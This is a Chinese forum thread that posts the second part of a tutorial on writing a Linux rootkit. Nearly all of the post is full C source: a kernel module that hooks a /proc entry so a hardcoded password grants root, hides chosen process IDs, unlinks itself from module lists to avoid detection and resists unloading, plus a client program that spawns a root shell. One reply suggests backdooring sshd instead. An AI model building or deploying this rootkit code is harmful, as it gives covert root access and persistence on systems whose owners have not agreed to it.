返回列表 发新帖

为 Linux 编写一个简单的 rootkit(2)

[复制链接]

34

主题

772

回帖

3001

积分

大学生

Rank: 5Rank: 5

金币
101
好评
44
信誉
153

MT论坛新人考神MT论坛帅哥

QQ
发表于 2022-7-26 16:34:41 | 显示全部楼层 | 阅读模式  来自 河南
  • 现在是时候展示我们的 rootkit 代码了。如果我还没有解释一些东西,我会把它描述为代码中的注释。
  • 起初,rootkit_conf.conf.h。
    配置文件!
    1. [backcolor=white]static char password[] = "secretpassword" ; //give here password
    2. static char passwaiter[] = "version" ; //here is name of entry to infect in /proc - you pass commands to it
    3. static char module_release[] = "release" ; //command to release the module(make possible to unload it)
    4. static char module_uncover[] = "uncover" ; //command to show the module
    5. static char hide_proc[] = "hide" ; //command to hide specified process
    6. static char unhide_proc[] = "unhide"; //command to "unhide" last hidden process[/backcolor]
    复制代码
    rootkit.c:
    1. [backcolor=white]#include <linux/module.h>
    2. #include <linux/kernel.h>
    3. #include <linux/proc_fs.h>
    4. #include <linux/sched.h>
    5. #include <linux/string.h>
    6. #include <linux/cred.h>
    7. #include <linux/stat.h>
    8. #include <linux/uaccess.h>
    9. #include <linux/file.h>

    10. #include "rootkit_conf.conf.h"

    11. MODULE_LICENSE("GPL") ;
    12. MODULE_AUTHOR("Ormi<[email]ormi.ormi@gmail.com[/email]>") ;
    13. MODULE_DESCRIPTION("Simple rootkit using procfs") ;
    14. MODULE_VERSION("0.1.2");

    15. static int failed;
    16. static char pid[10][32];
    17. static int pid_index;

    18. /* Here are pointers in which we save original, replaced pointers. We use them later, during unloading the module.
    19. I think that their names explain what they are ;) */
    20. static int (*old_proc_readdir)(struct file *, void *, filldir_t);
    21. static filldir_t old_filldir ;
    22. static ssize_t (*old_fops_write) (struct file *, const char __user *,
    23. size_t, loff_t *);
    24. static ssize_t (*old_fops_read)(struct file *, char __user *, size_t, loff_t *);
    25. static write_proc_t *old_write;
    26. static read_proc_t *old_read;

    27. static struct proc_dir_entry *ptr; /* Pointer to "infected" entry */
    28. static struct proc_dir_entry *root; /* Pointer to /proc directory */
    29. static struct list_head *prev; /* Pointer to entry in main modules list which was before our module before we hid the rootkit */

    30. static struct file_operations *fops; /* file_operations of infected entry */
    31. static struct file_operations *root_fops; /* file_operations of /proc directory */

    32. static inline void module_remember_info(void)
    33. {
    34. prev = THIS_MODULE->list.prev;
    35. }

    36. static inline void module_show(void)
    37. {
    38. list_add(&THIS_MODULE->list, prev); /* We add our module to main list of modules */
    39. }

    40. /* Parameter of this function is pointer to buffer in which there should be command */
    41. static int check_buf(const char __user *buf)
    42. {
    43. /* Here we give root privileges */
    44. struct cred *new = prepare_creds();
    45. if (!strcmp(buf, password)) {
    46. new->uid = new->euid = 0;
    47. new->gid = new->egid = 0;
    48. commit_creds(new);
    49. }

    50. /* Here we make possible to unload the module by "rmmod" */
    51. else if (!strcmp(buf, module_release))
    52. module_put(THIS_MODULE);
    53. /* Here we make module visible */
    54. else if (!strcmp(buf, module_uncover))
    55. module_show();
    56. /* We hide process */
    57. else if (!strncmp(buf, hide_proc, strlen(hide_proc))) {
    58. if (pid_index > 9)
    59. return 0;
    60. sprintf(pid[pid_index], "%s", buf + 5);
    61. pid_index++;
    62. }
    63. /* We "unhide" lastly hidden process */
    64. else if (!strncmp(buf, unhide_proc, strlen(unhide_proc))) {
    65. if (!pid_index)
    66. return 0;
    67. pid_index--;
    68. }
    69. /* If we are here, there was no command passed */
    70. else
    71. return 1;
    72. return 0;
    73. }

    74. /* Our "write" function */
    75. static int buf_write(struct file *file, const char __user *buf,
    76. unsigned long count, void *data)
    77. {
    78. /* If check_buf return 0, there was command passed */
    79. if (!check_buf(buf))
    80. return count;
    81. /* Otherwise we execute original function */
    82. return old_write(file, buf, count, data);
    83. }

    84. /* Our "read" function for read_proc field*/
    85. static int buf_read(char __user *buf, char **start, off_t off,
    86. int count, int *eof, void *data)
    87. {
    88. if (!check_buf(buf))
    89. return count;
    90. return old_read(buf, start, off, count, eof, data);
    91. }

    92. /* For file_operations structure */
    93. static ssize_t fops_write(struct file *file, const char __user *buf_user,
    94. size_t count, loff_t *p)
    95. {
    96. if (!check_buf(buf_user))
    97. return count;
    98. return old_fops_write(file, buf_user, count, p);
    99. }

    100. /* For file_operations structure */
    101. static ssize_t fops_read(struct file *file, char __user *buf_user,
    102. size_t count, loff_t *p)
    103. {
    104. if (!check_buf(buf_user))
    105. return count;
    106. return old_fops_read(file, buf_user, count, p);
    107. }

    108. /* Our filldir function */
    109. static int new_filldir(void *__buf, const char *name, int namelen,
    110. loff_t offset, u64 ino, unsigned d_type)
    111. {
    112. int i;
    113. /* We check if "name" is pid of one of hidden processes */
    114. for (i = 0; i < pid_index; i++)
    115. if (!strcmp(name, pid[i]))
    116. return 0; /* If yes, we don't display it */
    117. /* Otherwise we invoke original filldir */
    118. return old_filldir(__buf, name, namelen, offset, ino, d_type);
    119. }

    120. /* Our readdir function */
    121. static int new_proc_readdir(struct file *filp, void *dirent, filldir_t filldir)
    122. {
    123. /* To invoke original filldir in new_filldir we have to remeber pointer to original filldir */
    124. old_filldir = filldir;
    125. /* We invoke original readdir, but as "filldir" parameter we give pointer to our filldir */
    126. return old_proc_readdir(filp, dirent, new_filldir) ;
    127. }

    128. /* Here we replace readdir function of /proc */
    129. static inline void change_proc_root_readdir(void)
    130. {
    131. root_fops = (struct file_operations *)root->proc_fops;
    132. old_proc_readdir = root_fops->readdir;
    133. root_fops->readdir = new_proc_readdir;
    134. }

    135. static inline void proc_init(void)
    136. {

    137. ptr = create_proc_entry("temporary", 0444, NULL);
    138. ptr = ptr->parent;
    139. /* ptr->parent was pointer to /proc directory */
    140. /* If it wasn't, something is seriously wrong */
    141. if (strcmp(ptr->name, "/proc") != 0) {
    142. failed = 1;
    143. return;
    144. }
    145. root = ptr;
    146. remove_proc_entry("temporary", NULL);
    147. change_proc_root_readdir(); /* We change /proc's readdir function */
    148. ptr = ptr->subdir;
    149. /* Now we are searching entry we want to infect */
    150. while (ptr) {
    151. if (strcmp(ptr->name, passwaiter) == 0)
    152. goto found; /* Ok, we found it */
    153. ptr = ptr->next; /* Otherwise we go to next entry */
    154. }
    155. /* If we didn't find it, something is wrong :( */
    156. failed = 1;
    157. return;
    158. found:
    159. /* Let's begin infecting */
    160. /* We save pointers to original reading and writing functions, to restore them during unloading the rootkit */
    161. old_write = ptr->write_proc;
    162. old_read = ptr->read_proc;

    163. fops = (struct file_operations *)ptr->proc_fops; /* Pointer to file_operations structure of infected entry */
    164. old_fops_read = fops->read;
    165. old_fops_write = fops->write;

    166. /* We replace write_proc/read_proc */
    167. if (ptr->write_proc)
    168. ptr->write_proc = buf_write;
    169. else if (ptr->read_proc)
    170. ptr->read_proc = buf_read;
    171. /* We replace read/write from file_operations */
    172. if (fops->write)
    173. fops->write = fops_write;
    174. else if (fops->read)
    175. fops->read = fops_read;

    176. /* There aren't any reading/writing functions? Error! */
    177. if (!ptr->read_proc && !ptr->write_proc &&
    178. !fops->read && !fops->write) {
    179. failed = 1;
    180. return;
    181. }
    182. }

    183. /* This functions does some "cleanups". If we don't set some pointers tu NULL,
    184. we can cause Oops during unloading rootkit. We free some structures,
    185. because we don't want to waste memory... */
    186. static inline void tidy(void)
    187. {
    188. kfree(THIS_MODULE->notes_attrs);
    189. THIS_MODULE->notes_attrs = NULL;
    190. kfree(THIS_MODULE->sect_attrs);
    191. THIS_MODULE->sect_attrs = NULL;
    192. kfree(THIS_MODULE->mkobj.mp);
    193. THIS_MODULE->mkobj.mp = NULL;
    194. THIS_MODULE->modinfo_attrs->attr.name = NULL;
    195. kfree(THIS_MODULE->mkobj.drivers_dir);
    196. THIS_MODULE->mkobj.drivers_dir = NULL;
    197. }

    198. /*
    199. We must delete some structures from lists to make rootkit harder to detect.
    200. */
    201. static inline void rootkit_hide(void)
    202. {
    203. list_del(&THIS_MODULE->list);
    204. kobject_del(&THIS_MODULE->mkobj.kobj);
    205. list_del(&THIS_MODULE->mkobj.kobj.entry);
    206. }

    207. static inline void rootkit_protect(void)
    208. {
    209. try_module_get(THIS_MODULE);
    210. }

    211. static int __init rootkit_init(void)
    212. {
    213. module_remember_info();
    214. proc_init();
    215. if (failed)
    216. return 0;
    217. rootkit_hide();
    218. tidy();
    219. rootkit_protect();

    220. return 0 ;

    221. }

    222. static void __exit rootkit_exit(void)
    223. {
    224. /* If failed, we don't have to do any cleanups */
    225. if (failed)
    226. return;
    227. root_fops->readdir = old_proc_readdir;
    228. fops->write = old_fops_write;
    229. fops->read = old_fops_read;
    230. ptr->write_proc = old_write;
    231. ptr->read_proc = old_read;
    232. }

    233. module_init(rootkit_init);
    234. module_exit(rootkit_exit);[/backcolor]
    复制代码
    看看向我们的条目发送命令的示例程序:
    1. [backcolor=white]#include <stdio.h>
    2. #include <unistd.h>
    3. #include <fcntl.h>
    4. #include <string.h>
    5. #include <errno.h>
    6. #include <sys/stat.h>

    7. #include "rootkit_conf.conf.h"

    8. char file[64];
    9. char command[64];
    10. int root = 0;

    11. int main(int argc, char *argv[]) {
    12. if(argc < 2) {
    13. fprintf(stderr, "Usage: %s <command>\n", argv[0]);
    14. return 1;
    15. }
    16. int fd ;
    17. /* We get path to infected entry */
    18. sprintf(file, "/proc/%s", passwaiter);
    19. /* If sent command is equal to command which has to give us root, we must run shell at the end */
    20. if(!strcmp(argv[1], password))
    21. root = 1;
    22. /* At first we try to write command to that entry */
    23. fd = open(file, O_WRONLY) ;
    24. if(fd < 1) {
    25. printf("Opening for writing failed! Trying to open for reading!\n");
    26. /* Otherwise, we send command by reading */
    27. fd = open(file, O_RDONLY);
    28. if(!fd) {
    29. perror("open");
    30. return 1;
    31. }
    32. read(fd, argv[1], strlen(argv[1]));
    33. }
    34. else
    35. write(fd, argv[1], strlen(argv[1]));
    36. end:
    37. close(fd) ;
    38. printf("[+] I did it!\n") ;
    39. /* if we have to get root, we run shell */
    40. if(root) {
    41. uid_t uid = getuid() ;
    42. printf("[+] Success! uid=%i\n", uid) ;
    43. setuid(0) ;
    44. setgid(0) ;
    45. execl("/bin/bash", "bash", 0) ;
    46. }
    47. return 0;
    48. }[/backcolor]
    复制代码
    你可以问“为什么rootkit中的所有内容都被定义为'静态'”?因为定义为静态的东西不会导出到 /proc/kallsyms。它使 Rootkit 更难检测。

已有1人评分金币 理由
烽火戏诸侯⁡ + 1 很给力!

查看全部评分 总评分:金币 +1 

回复

使用道具 举报

84

主题

3695

回帖

9401

积分

禁止发言

金币
1951
好评
111
信誉
70

考神MT论坛新人MT论坛帅哥MT论坛活跃会员MT论坛侠客

发表于 2022-7-26 16:37:19 来自手机  | 显示全部楼层  来自 山西
支持一下
回复

使用道具 举报

24

主题

3054

回帖

7656

积分

硕士生

Rank: 6Rank: 6

金币
273
好评
22
信誉
222

MT论坛帅哥MT论坛新人考神

发表于 2022-7-26 16:44:03 来自手机  | 显示全部楼层  来自 贵州
提示: 作者被禁止或删除 内容自动屏蔽
回复

使用道具 举报

18

主题

9045

回帖

1万

积分

博士生

Rank: 7Rank: 7Rank: 7

金币
4987
好评
3
信誉
202

考神

发表于 2022-7-26 16:44:23 来自手机  | 显示全部楼层  来自 广东
支持一下
回复

使用道具 举报

175

主题

8838

回帖

2万

积分

博士后

Rank: 8Rank: 8

金币
7383
好评
29
信誉
165

MT论坛新人MT论坛帅哥考神MT论坛最佳新人MT论坛灌水老大MT论坛活跃会员

发表于 2022-7-26 17:40:21 来自手机  | 显示全部楼层  来自 河南
感谢大佬分享
回复

使用道具 举报

16

主题

4251

回帖

1万

积分

博士生

Rank: 7Rank: 7Rank: 7

金币
751
好评
5
信誉
150

MT论坛帅哥考神

发表于 2022-7-26 17:44:11 来自手机  | 显示全部楼层  来自 重庆
感谢分享
回复

使用道具 举报

5

主题

4431

回帖

1万

积分

博士生

Rank: 7Rank: 7Rank: 7

金币
8190
好评
10
信誉
195

MT论坛最佳新人考神MT论坛新人

QQ
发表于 2022-7-26 18:57:34 来自手机  | 显示全部楼层  来自 江西
感谢分享
回复

使用道具 举报

37

主题

5737

回帖

1万

积分

博士生

欣冉吖

Rank: 7Rank: 7Rank: 7

金币
5302
好评
25
信誉
407
发表于 2022-7-26 21:29:22 来自手机  | 显示全部楼层  来自 河北
感谢分享
回复

使用道具 举报

5

主题

109

回帖

410

积分

初中生

Rank: 3Rank: 3

金币
238
好评
2
信誉
100

考神MT论坛新人

发表于 2022-8-11 04:09:15 来自手机  | 显示全部楼层  来自 湖北
感谢分享,自己觉得在常规服务里如sshd里带些私货更省事
回复

使用道具 举报

发表回复

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表